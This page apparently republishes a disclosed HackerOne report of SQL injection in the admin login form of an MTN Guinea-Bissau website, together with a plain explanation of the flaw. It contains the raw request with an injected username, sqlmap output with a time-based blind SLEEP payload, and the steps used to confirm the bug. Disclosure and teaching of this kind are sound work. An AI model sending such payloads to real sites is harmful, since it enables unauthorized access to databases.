Skip to content
SQL injection Disclosed report Beginner

SQL Injection on the administrator panel

The login form on the site's administrator panel passed user input into a database query without proper handling, so a crafted username could alter that query. An attacker could use this to extract data from the back-end MySQL database.

z3lox Follow

Originally disclosed on HackerOne

Critical View original
  • Fixed in 11 days
  • Disclosed after 15 months

Hello team. The admin panel of the website is mtngbissau.com or is vulnerable to sql attack via https://mtngbissau.com/webadmin/index.php

Request

POST /webadmin/index.php HTTP/1.1
Host: mtngbissau.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://mtngbissau.com/webadmin/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Connection: close
Cookie: PHPSESSID=74db1535be320f591b6106253ad77191; SERVERID68971=262072|Xq8Kv|Xq8Ip
Upgrade-Insecure-Requests: 1

login=user'&pass=uesse

Confirmation of the vulnerability with sqlmap

[*] starting @ 21:06:44 /2020-05-03/

[18:05:44] [INFO] parsing HTTP request from 'post'
[18:06:10] [INFO] resuming back-end DBMS 'mysql' 
[18:06:24] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: login (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: login=admin' AND (SELECT 5206 FROM (SELECT(SLEEP(5)))THtF) AND 'MHhg'='MHhg&pass=admin
---
[18:06:45] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[18:06:45] [INFO] fetched data logged to text files under '/home/kira/.sqlmap/output/mtngbissau.com'


Impact

Web application is vulnerable to SQL injection, allowing access to data

Attachments

SQLi.png
SQLi.png From the original on HackerOne

The original report as published on HackerOne, by z3lox. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the login parameter was concatenated into a SQL query without parameterisation or escaping.

Impact

An attacker could read data from the back-end database, though the report only demonstrates a time delay and does not show any data actually being extracted.

What the attacker needed

Access to the admin login page; no account needed

How it was found

  1. Send a login request to the admin panel with a crafted username value.
  2. Observe that the response is delayed, confirming the injected database command ran.
  3. Use an automated tool to confirm the injection point and identify the database type.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A login form normally checks a username and password against a database. Here the site built its database question by gluing the typed username straight into it, so special characters in the username can change what the database is asked. That lets an attacker pull out information the site never meant to show.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by z3lox

View all

1 more disclosed report, best first.

More from MTN Group

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.